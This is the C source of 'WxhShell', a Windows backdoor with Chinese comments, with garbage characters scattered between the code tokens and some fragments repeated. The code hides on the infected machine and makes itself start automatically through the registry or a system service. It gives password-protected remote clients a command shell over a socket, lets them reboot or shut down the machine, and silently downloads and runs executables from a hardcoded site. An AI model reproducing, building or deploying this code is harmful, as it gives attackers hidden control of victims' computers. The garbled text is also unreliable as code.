R:^?6f<Z} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <+,0G` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VCRv(Ek tsVhPo]e0 HANDLE hProcess; cB=u;$k@* PROCESS_BASIC_INFORMATION pbi; 3CPOZZ @W- f{V HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8'Bl=C|0X if(NULL == hInst ) return 0; oySM?ZE ;rAW3 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x i,wL0{ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,O{ 5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2e@\6l,!^ H).5xx[` if (!NtQueryInformationProcess) return 0; ;iNx@tz4 '[8jm=Q#' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [4rMUS7-m" if(!hProcess) return 0; Cfb-:e$0 b/Q"j3 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u$p|hd
d gdY/RDxn: CloseHandle(hProcess); DC7}Xly( =U`c
}dhS hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >g0@ Bk if(hProcess==NULL) return 0; :.df( 1(RL e-)1K HMODULE hMod; tSa%ZkS char procName[255]; K#< Wt5 unsigned long cbNeeded; ulo7d1OVkJ 0j MI)aY. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F|{?GV%hF 5B/\vLHg4 CloseHandle(hProcess); FY*0gp K):sq{ if(strstr(procName,"services")) return 1; // 以服务启动 :#jv4N o?+e_n= return 0; // 注册表启动 e91d~ } FWTl:LqFO .tsB$,/ // 主模块 cs;Gk: int StartWxhshell(LPSTR lpCmdLine) RUh{^3;~ { y36aoKH SOCKET wsl; \>7-<7+I6 BOOL val=TRUE; q0Pu6"^ int port=0; (OJ9@_fgG[ struct sockaddr_in door; V@-GQP1 .6#2i <oPW if(wscfg.ws_autoins) Install(); kO4~N-& k]5L\]>y port=atoi(lpCmdLine); 7z&u92dJI Ooy96M~_G if(port<=0) port=wscfg.ws_port; <P-r)=^ K\Q
1/}) WSADATA data; c7wgjQ[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R.;59s >z$|O> j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S3cQC`^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^o:5B%}#[ door.sin_family = AF_INET; u\?u}t v door.sin_addr.s_addr = inet_addr("127.0.0.1"); 75i)$}_1B door.sin_port = htons(port); wX;NU4)n P'k39 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wfy+7$14M closesocket(wsl); hp}8
3.oA return 1; O0RQ}~$'m } k{62UaL. w2GY,,R if(listen(wsl,2) == INVALID_SOCKET) { 6j#5Ag: closesocket(wsl); Qz;"b! return 1; rE~O}2a#H } i%w'Cs0y Wxhshell(wsl); %SXqJW^: WSACleanup(); r; !us~ 5S bSz!s`$ return 0; c2"OpI YN[D^;} } '?t{-z,
t-/^ O // 以NT服务方式启动 "p\KePc;@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gO36tc:ce { 7\lc aC@ DWORD status = 0; u e~1144 DWORD specificError = 0xfffffff; zV#k
#/$ St<\qC serviceStatus.dwServiceType = SERVICE_WIN32; 5Z{[.&x serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ycm1 _z serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u05O[>w serviceStatus.dwWin32ExitCode = 0; z)Gr`SA< serviceStatus.dwServiceSpecificExitCode = 0; ><HXd+- sd serviceStatus.dwCheckPoint = 0; _qfdk@@g serviceStatus.dwWaitHint = 0; =6:Iv"< "`zw( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |kD?^Nx if (hServiceStatusHandle==0) return; T^W8_rm*3 &bb*~W- status = GetLastError(); on|>"F`pb if (status!=NO_ERROR) de[_T%A { #=rI[KI serviceStatus.dwCurrentState = SERVICE_STOPPED; $
a7^3 serviceStatus.dwCheckPoint = 0; hQO~9mQ+! serviceStatus.dwWaitHint = 0; >n/QKFvV5 serviceStatus.dwWin32ExitCode = status; +H_Z!T.@ serviceStatus.dwServiceSpecificExitCode = specificError; nS#;<p$\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); X8<ygci+.5 return; TkykI } pQD8#y)` C WD]dt!V% serviceStatus.dwCurrentState = SERVICE_RUNNING; #'T@mA serviceStatus.dwCheckPoint = 0; ~QXNOtVsN serviceStatus.dwWaitHint = 0; l8Ox]%F if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p/:L;5F } ;2^=#7I? _G42|lA$/ // 处理NT服务事件,比如:启动、停止 #PGExN3e VOID WINAPI NTServiceHandler(DWORD fdwControl) ^`$KN0PY { mz''-1YY$ switch(fdwControl) [@)|j=:i: { bbnAmZ case SERVICE_CONTROL_STOP: ~2H)#`\ac8 serviceStatus.dwWin32ExitCode = 0; Cv3H%g+as serviceStatus.dwCurrentState = SERVICE_STOPPED; SU^/qF%8 serviceStatus.dwCheckPoint = 0; 4Y'qoM; serviceStatus.dwWaitHint = 0; @:
NrC76 { aOOY_S
E SetServiceStatus(hServiceStatusHandle, &serviceStatus); rB\UNXy } @eul~%B{X return; . 2WZb_B case SERVICE_CONTROL_PAUSE: Wo%&,>]<H serviceStatus.dwCurrentState = SERVICE_PAUSED; 5m/r,d^H break; RV~w+%f case SERVICE_CONTROL_CONTINUE: w t}a`hxu serviceStatus.dwCurrentState = SERVICE_RUNNING; uAJC Q)@ break; Q"\[ICu!, case SERVICE_CONTROL_INTERROGATE: ,}<v:! break; /#HY-b }; !&X}?NK SetServiceStatus(hServiceStatusHandle, &serviceStatus); L/shF}< } +]
uY a)xN(xp## // 标准应用程序主函数 ,PnEDQ|l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l\bBc,%jt { 8d]=
+n! SU:Cm:$ // 获取操作系统版本 .w`8_v &Y OsIsNt=GetOsVer(); J{91 t | GetModuleFileName(NULL,ExeFile,MAX_PATH); kZ2+=/DYN eL],\\q // 从命令行安装 uE>}>6)b if(strpbrk(lpCmdLine,"iI")) Install(); tG6 o^ tcs
Z!# // 下载执行文件
YEGXhn5E if(wscfg.ws_downexe) { BZE19! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OLv( WinExec(wscfg.ws_filenam,SW_HIDE); edm&,ph] } =,sMOJc> {It4=I)M if(!OsIsNt) { 6oC(09 // 如果时win9x,隐藏进程并且设置为注册表启动 C>LkU |[ HideProc(); \Ew2@dF{O StartWxhshell(lpCmdLine); 0tA+11Iu } B^oXUEOImq else 4aGHks8Z,\ if(StartFromService()) #fwG~Q( // 以服务方式启动 Ts^IA67&< StartServiceCtrlDispatcher(DispatchTable); H|Eu,eq-E else ,5nrovv // 普通方式启动 \aG>(Mr StartWxhshell(lpCmdLine); 1=s%.0 ]+oPwp;il return 0; p%n}a%%I } HYtkSsXLN 9nB:=`T9 t4nAy)I)P %_5B"on =========================================== %H:!/'45 WL>"hkx Yx,
P
/Js!e<\ RS$e^_ W KktQA*G " H4)){\ "g0Ln5& #include <stdio.h> w+Ag!O}.L #include <string.h> pbu 8Ib8z #include <windows.h> Z_S~#[\7^] #include <winsock2.h> >RRb8=[J #include <winsvc.h> Rj-<tR{ #include <urlmon.h> ybfNG@N* }F-W OQ #pragma comment (lib, "Ws2_32.lib") ,Xao{o( #pragma comment (lib, "urlmon.lib") CfAX,f"ZP
b d9]' #define MAX_USER 100 // 最大客户端连接数 ,1od]]>(O #define BUF_SOCK 200 // sock buffer 1Ocyrn #define KEY_BUFF 255 // 输入 buffer 5gi`&t` Wh"oL;O #define REBOOT 0 // 重启 !\CoJ.5= #define SHUTDOWN 1 // 关机 ^;N+"oq!y e1K,4Bq #define DEF_PORT 5000 // 监听端口 8JGt|, )Nk^;[ #define REG_LEN 16 // 注册表键长度 MOdodyG #define SVC_LEN 80 // NT服务名长度 3:!+B=woR \6*3&p // 从dll定义API nx=Zl:Q} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'a*tee ^RS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?DA,]aa- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OLlNCb#t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HA>b'lqBM wR1M_&-s // wxhshell配置信息 $TWt[ struct WSCFG { :FB#,AOa_ int ws_port; // 监听端口 &p0*:(j char ws_passstr[REG_LEN]; // 口令 10{ZW@!7 int ws_autoins; // 安装标记, 1=yes 0=no +:;r} 7Zh char ws_regname[REG_LEN]; // 注册表键名 _a^%V9t char ws_svcname[REG_LEN]; // 服务名 y$7<ZBG char ws_svcdisp[SVC_LEN]; // 服务显示名 9)'L,Xt4:T char ws_svcdesc[SVC_LEN]; // 服务描述信息 m8fxDepFA char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UV$v:>K# int ws_downexe; // 下载执行标记, 1=yes 0=no 0d~>zKho char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zn|vT&:Hg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <T{PuS1<o q B5cF_ }; 7$k[cL1 ,ie84o // default Wxhshell configuration 7i,}F|#8 struct WSCFG wscfg={DEF_PORT, sd
xl@ "xuhuanlingzhe", s7#w5fe 1, @u#Tx% "Wxhshell", EJ"[{AV "Wxhshell", # KK>D?.: "WxhShell Service", 8" XbW7 ^o "Wrsky Windows CmdShell Service", _m#M^<0n "Please Input Your Password: ", Yu`b[]W 1, t L}i%7 "http://www.wrsky.com/wxhshell.exe", Y&'Bl$` "Wxhshell.exe" 4#!NVI3t }; 5Z,^46J dr'# // 消息定义模块 d\+smED char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YD 1u char *msg_ws_prompt="\n\r? for help\n\r#>"; x/ lW=EQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XzIhFX6 char *msg_ws_ext="\n\rExit."; G BV]7. char *msg_ws_end="\n\rQuit."; cK"b0K/M?B char *msg_ws_boot="\n\rReboot..."; #/\5a;Elc char *msg_ws_poff="\n\rShutdown..."; E80C0Q+V char *msg_ws_down="\n\rSave to "; HI*xk |]w0ytL>(2 char *msg_ws_err="\n\rErr!"; {=VauF char *msg_ws_ok="\n\rOK!"; :%~+&qS -$!`8[fM char ExeFile[MAX_PATH]; ayTEQS int nUser = 0; R&PQU/t) HANDLE handles[MAX_USER]; 4Bsx[~ u& int OsIsNt; 8xW_N"P.> B0T[[%~3M SERVICE_STATUS serviceStatus; :$lx] SERVICE_STATUS_HANDLE hServiceStatusHandle; )<nr;n !c(B c^ // 函数声明
3V>2N)3`A int Install(void); 1-!u=]JDE int Uninstall(void); :''^a int DownloadFile(char *sURL, SOCKET wsh); ~m2tWi@ int Boot(int flag); "9:1>Gr{G void HideProc(void); F
0q#. int GetOsVer(void); VQI int Wxhshell(SOCKET wsl); ZaBGkDX5 void TalkWithClient(void *cs); 3iMh)YH5b int CmdShell(SOCKET sock); sg RY`U.C int StartFromService(void); ZnVi.s~1V int StartWxhshell(LPSTR lpCmdLine); pj4M|'F7 X`YA JG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B[w~bW|K VOID WINAPI NTServiceHandler( DWORD fdwControl ); p)NhV WLqwntzk // 数据结构和表定义 %{Ez0XwGCn SERVICE_TABLE_ENTRY DispatchTable[] = S7vT= { df; -E {wscfg.ws_svcname, NTServiceMain}, PBc.}TSGj {NULL, NULL} x<W`2Du }; Y;JV9{j <iDqt5)N // 自我安装 jl YnV/ ] int Install(void) _1S^A0ft { t`1E4$Bb\ char svExeFile[MAX_PATH]; G'T/I\tB HKEY key; u|t<f`ze strcpy(svExeFile,ExeFile); <1cYz\/!M *J&XM[t // 如果是win9x系统,修改注册表设为自启动 LT']3w if(!OsIsNt) { l(
/yaZ` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^dj
avJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &>y[5#qOl RegCloseKey(key); r*'a-2Au if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hY XH9: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aVcQ RegCloseKey(key); \WKly return 0; Y).5(t7zaR } ! c,=%4Pb } d#6'dKV$ } _PUgK\ else { P0WI QG+ ]Ng K(IU // 如果是NT以上系统,安装为系统服务 g(){wCI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |d =1|C%, if (schSCManager!=0) o\6A]T=R { f.SV-{O_ SC_HANDLE schService = CreateService uH 1%diL^ ( f Glvx~ schSCManager, Gu?OyL wscfg.ws_svcname, %GG:F^X# wscfg.ws_svcdisp, t '
_Au8 SERVICE_ALL_ACCESS, p w(eWP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r6k0=6i SERVICE_AUTO_START, HF>Gf2-C SERVICE_ERROR_NORMAL, =>Ss:SGjT svExeFile, Jv(9w[ NULL, H=b54.J8& NULL, e}>8rnR{ NULL, [ aC7 NULL, ?\[2Po]n NULL "|<6bA ); v%N/mL+5L if (schService!=0) ,Yx"3i, { 9ReH@5_bGM CloseServiceHandle(schService); CGmObN8~'F CloseServiceHandle(schSCManager); U,Py+c6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Teq1VK3Hr strcat(svExeFile,wscfg.ws_svcname); CFdR4vuEI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a![x^@nF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =xzDpn>f RegCloseKey(key); z/09~Hc return 0; D L0jA/f } )9LlM2+y } hwgLJY? CloseServiceHandle(schSCManager); ~a@O1MB } 1 ?X(q } 6b&<5,=d: <k'JhMwN return 1; RW19I,d } yO}RkRA ?S&pq? // 自我卸载 m2&"}bI{ int Uninstall(void) 'wh2787 { 5m2`$y-nb HKEY key; fT)u`voE, ia=eFWt. if(!OsIsNt) { i$MYR @ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \GA6;6%Oo RegDeleteValue(key,wscfg.ws_regname); s%Ez/or(T RegCloseKey(key); I{>U 7i
5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N$#518 RegDeleteValue(key,wscfg.ws_regname); 4-lG{I_S: RegCloseKey(key); 8w,U[aJm return 0; $r0~&$T& } x\HHu] } t\YN\`XD } d:KUJ
Y. else { Y4E UW% Tc{r;:'G< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $gKMVgD" if (schSCManager!=0) 0sxZa+G0o { Om
#m": SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5:[<pY!s# if (schService!=0) ^@W98_bd; { *5KV DOd
if(DeleteService(schService)!=0) { } Ej^M~Vv CloseServiceHandle(schService); 00s&<EM CloseServiceHandle(schSCManager); ="%nW3e@ return 0; mDJF5I } )
xRm CloseServiceHandle(schService); We7~tkl( } ]WLQ q4q CloseServiceHandle(schSCManager); S0X%IG } s"1:#.u } "r@f&Ssxb G55-{y9Q return 1; Twscc"mK } {O\>"2}m'f ziFg+i%s // 从指定url下载文件 }` &an$Mu int DownloadFile(char *sURL, SOCKET wsh) Yt^<^l77D { ym*,X@Qg^ HRESULT hr; (#zSVtZ char seps[]= "/"; $@
/K/" char *token; b-sbR R char *file; "zU}]|R char myURL[MAX_PATH]; 1<Vc[p& char myFILE[MAX_PATH]; KIt:ytFx bj6-0` strcpy(myURL,sURL); Ie 3
F token=strtok(myURL,seps); H)XHlO^ while(token!=NULL) 45cMG~]p { f<!3vAh file=token; fBgW0o.Bu token=strtok(NULL,seps); ^T}6oUd } &zVF!xNy& *.g0;\HF GetCurrentDirectory(MAX_PATH,myFILE); UclQo~3 strcat(myFILE, "\\"); y\}39Z(] strcat(myFILE, file); REd"}zDI send(wsh,myFILE,strlen(myFILE),0); ?QzA;8H send(wsh,"...",3,0); Z#8O)GK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YyI4T/0s_ if(hr==S_OK) b"`Vn, return 0; ,,*i!%Adw else 4]\f} return 1; T<!&6,N A [c6I/U=- } yc|j]? eUiJl6^x // 系统电源模块 )ZkQWiP- int Boot(int flag) ["'0vQ { M,0@@: HANDLE hToken; $@8$_g|Wz TOKEN_PRIVILEGES tkp; Ift @/A YXD6GJWo if(OsIsNt) { 3$YgGum OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^QX3p,Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WM8
Ce0E tkp.PrivilegeCount = 1; W'2a1E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $6p_`LD0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n0o'ns if(flag==REBOOT) { \k6Ho?PL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +.i?UHNB return 0; J{98x zb } =F>@z4[P- else { MGUzvSf if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7
S^iGe return 0; ?sb
Ob } ,TuDG*YA } nF0V`O\T else { 76i)m! if(flag==REBOOT) { XY(3!>/eQ[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5w: return 0; yGN@Hd:9 } :*GLLjS; else { !P*1^8b`f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2i+'?.P return 0; [qhQj\cK } +J`EBoIo } EC6)g;CO Lb# e return 1; #&+0hS } {Mt4QA5iZ ;g[C=yhK`C // win9x进程隐藏模块 ?A|8J5EV void HideProc(void) rDNz<{evj { A?{ X5`y _*b1]< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g(d9=xq@k if ( hKernel != NULL ) /rsr|`# { 3JuWG\r)l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1( V>8}zn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (<?6X9F:N FreeLibrary(hKernel); =
;sEi:HC } (;1FhIi& >h3r\r\n3 return; +dWx?$n } K\5'pp1 : `D[0 // 获取操作系统版本 l#P)9$% int GetOsVer(void) LM:|Kydp3 { K/;FP'. OSVERSIONINFO winfo; -!E ))|A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g?V>+oMx GetVersionEx(&winfo); nBs%k!RR if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qx0RCP /s return 1; 2UYtFWB9o else !,}W|(P) return 0; -uZ bVd } )zK`*Fa
az neW_mu;~Z // 客户端句柄模块 8y;W+I(71 int Wxhshell(SOCKET wsl) <1tFwC|4BJ { -^=sxi,V SOCKET wsh; ` aTkIo:ms struct sockaddr_in client; YxH"*)N DWORD myID; Kp")
%p# H\ A!oB,sw while(nUser<MAX_USER) &IGTCTBP { DXPiC[g] int nSize=sizeof(client); ,: X+NQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /{pVYY if(wsh==INVALID_SOCKET) return 1; S4]}/Imn) M7"I]$|\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2.)@u~^Q
if(handles[nUser]==0) T:+%3+;a closesocket(wsh); F"O{eK0T else +W+O7SK\y nUser++; td^2gjr^5 } O_8ERxj
g] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aVv$k XE]YKJ?|k return 0; $Xf1|!W%a% } 6x KbK1W }>vf(9sF` // 关闭 socket wD>tR
SW void CloseIt(SOCKET wsh) SX)giQLU { c)8V^7=Q closesocket(wsh); &0*l=!:G^ nUser--; }J}a;P4 ExitThread(0); c-z2[a8 } qJ QE|VM& |B&KT // 客户端请求句柄 G5W6P7-<X void TalkWithClient(void *cs) Y%9S4be { uN bOtA IWeQMwg SOCKET wsh=(SOCKET)cs; @/}{Trmg/ char pwd[SVC_LEN]; l!f/0Rx5 char cmd[KEY_BUFF]; "&/:"~r char chr[1]; P 3uAS int i,j; *_d+c G WjZJQK while (nUser < MAX_USER) { )e.Y"5My xz#;F ,`ZR if(wscfg.ws_passstr) { #*uSYGdc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 65bLkR{0
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?Dro)fH1 //ZeroMemory(pwd,KEY_BUFF); 5T,Doxo i=0; gwk$|aT@ while(i<SVC_LEN) { ia15r\4j) <{@?c // 设置超时 MdK!Y fd_set FdRead; .J' 8d"+ struct timeval TimeOut; 4?XX_=+F| FD_ZERO(&FdRead); c^P8)gPf FD_SET(wsh,&FdRead); _[8xq:G TimeOut.tv_sec=8; [^r0red TimeOut.tv_usec=0; iorKS+w" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sZFIQ)b9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,j
wU\xo`C >E^?<}E~. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h: :'s&| pwd=chr[0]; vTN/ho,H if(chr[0]==0xd || chr[0]==0xa) { $|.x !sA pwd=0; j"o`K}C break; J 2%^%5&0 } |M|'S~z i++; !!&H'XEJV } Ggy_
Ctu LXj2gsURu% // 如果是非法用户,关闭 socket >nmby|XtW if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E",s] } 5)4*J. *leQd^47 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3/8o)9f. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DQW^;Ls 6Uq@v8mh while(1) { quc?]rb vPEL'mw/3# ZeroMemory(cmd,KEY_BUFF); [0CoQ5:d?& b)@%gS\F // 自动支持客户端 telnet标准 3F2> &p|7 j=0; 7k{Oae\$ while(j<KEY_BUFF) {
!\Jj}iX3_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8}Rwf?B cmd[j]=chr[0]; fI}Z`* if(chr[0]==0xa || chr[0]==0xd) { N8(xz-6 cmd[j]=0; E :*!an break; `+$'bNPn& } LNml[" j++; -xq)brG } =zXpeo&|m S!8eY `C. // 下载文件 ~Kda#= if(strstr(cmd,"http://")) { `),7*gn*) send(wsh,msg_ws_down,strlen(msg_ws_down),0); N;tUrdgQ if(DownloadFile(cmd,wsh)) h4H~;Wl0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); d{&+xl^ll else PCnE-$QH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K^t M$l\ } {U(-cdU{e` else { 9Q-/Yh 3 D,PbAd switch(cmd[0]) { J]i=SX+ 9 cv;&ff2%? // 帮助 4]nU%`Z1w case '?': { @B5@3zYs send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [P8Y break; +Y(cs&V* } t3u"2B7oG // 安装 kCxmC<34 case 'i': { raY5 nc{ if(Install()) S$\lM<M send(wsh,msg_ws_err,strlen(msg_ws_err),0); owZjQ else * #e%3N05_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vn3<LQ] break; mk_cub@ } 7{f&L' // 卸载 +o(t5O[G case 'r': { R'qB-v. if(Uninstall()) _z\oDd`' send(wsh,msg_ws_err,strlen(msg_ws_err),0); @i&LKr8 else B1c`(mHl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 62rTGbDbx break; 0!veLXeK! } zkn K2e,$ // 显示 wxhshell 所在路径 AuUT 'E@E case 'p': { w_pEup\` char svExeFile[MAX_PATH]; 4>>{}c!nf strcpy(svExeFile,"\n\r"); '|&}rLr:+ strcat(svExeFile,ExeFile); w{)*'8oCB send(wsh,svExeFile,strlen(svExeFile),0); +l@H[r;$ break; B)/X:[ } z*ZEw // 重启 Z"'rc.>a case 'b': { KCJ zE> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1qbd6D|t if(Boot(REBOOT)) (7`goi7M send(wsh,msg_ws_err,strlen(msg_ws_err),0); OP]=MZP| else { fJLlz$H closesocket(wsh); -(~Tu>KaH ExitThread(0); l"o@.C}f/ } QKc3Q5)@j break; 'x<gC"0A } X'.}#R1 // 关机 sY7:Lzs., case 'd': { D/:~#) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QR2J;Oj_ if(Boot(SHUTDOWN)) " jn@S- send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7oA$aJQ else { "UKX~}8T closesocket(wsh); ?|TVz!3 ExitThread(0); ur={+0
y } 1c&/&6#5 break; /:>qhRFJA: } U`K5 DZ~ // 获取shell uzG<(Q pu case 's': { 1c~c_Cc4 CmdShell(wsh); \2-!%i, closesocket(wsh); kLMg|48fdI ExitThread(0); a1M-F3 break; yk!,{Q?<$ } 15VOQE5Fl` // 退出 ps"crV-W case 'x': { cKh { s send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gv>,Ad
ka CloseIt(wsh); Sd'
uXX@ break; _7~O>. } :-.R*W // 离开 QXishHk& case 'q': { v3Tr6[9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); f3lFpS closesocket(wsh); .
l RW WSACleanup(); ]
M"{=z exit(1); ?'CIt5n+\{ break; X3(:)zUL } ()JM161 } DF%\1C> } k6ERGQ9|I Z/sB72K1 // 提示信息 P[ n`X if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sI/Hcm } \
lP
c,8) } Zw| IY9D 6(sqS~D return; yU\&\fD>j } \MsAdYR
.oH0yNFX // shell模块句柄 u@}((V int CmdShell(SOCKET sock) T=:O(R1*0 { ?,%vndI STARTUPINFO si; )s,L:{< ZeroMemory(&si,sizeof(si)); !~04^( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p&B98c si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &zlwV"W PROCESS_INFORMATION ProcessInfo; :g2?)Er- char cmdline[]="cmd"; uT8/xNB! CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $Eg|Qc-1 return 0; -LzHCO/7( } rK)So#' M A} = // 自身启动模式 PH9MB int StartFromService(void) ;{ XKZ} { =`xk|86f typedef struct iN0pYqY* { ^)rX27!G DWORD ExitStatus; <?&GBCe DWORD PebBaseAddress; Tc,Bv7: DWORD AffinityMask; ;i^p6b j DWORD BasePriority; T.<eriv ULONG UniqueProcessId; 49nZWv48"_ ULONG InheritedFromUniqueProcessId; gZ%B9i: } PROCESS_BASIC_INFORMATION; ~KDx yTz@q>6s- PROCNTQSIP NtQueryInformationProcess; }Ga@bY6 \o?zL7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -dsB@nPiUw static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2WIL0Siwl 6b9D db* HANDLE hProcess; xYc)iH6& PROCESS_BASIC_INFORMATION pbi; - 6;0 x Z}T<^
F HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /YR*KxIx if(NULL == hInst ) return 0; chQt8Ar3 S6h=}
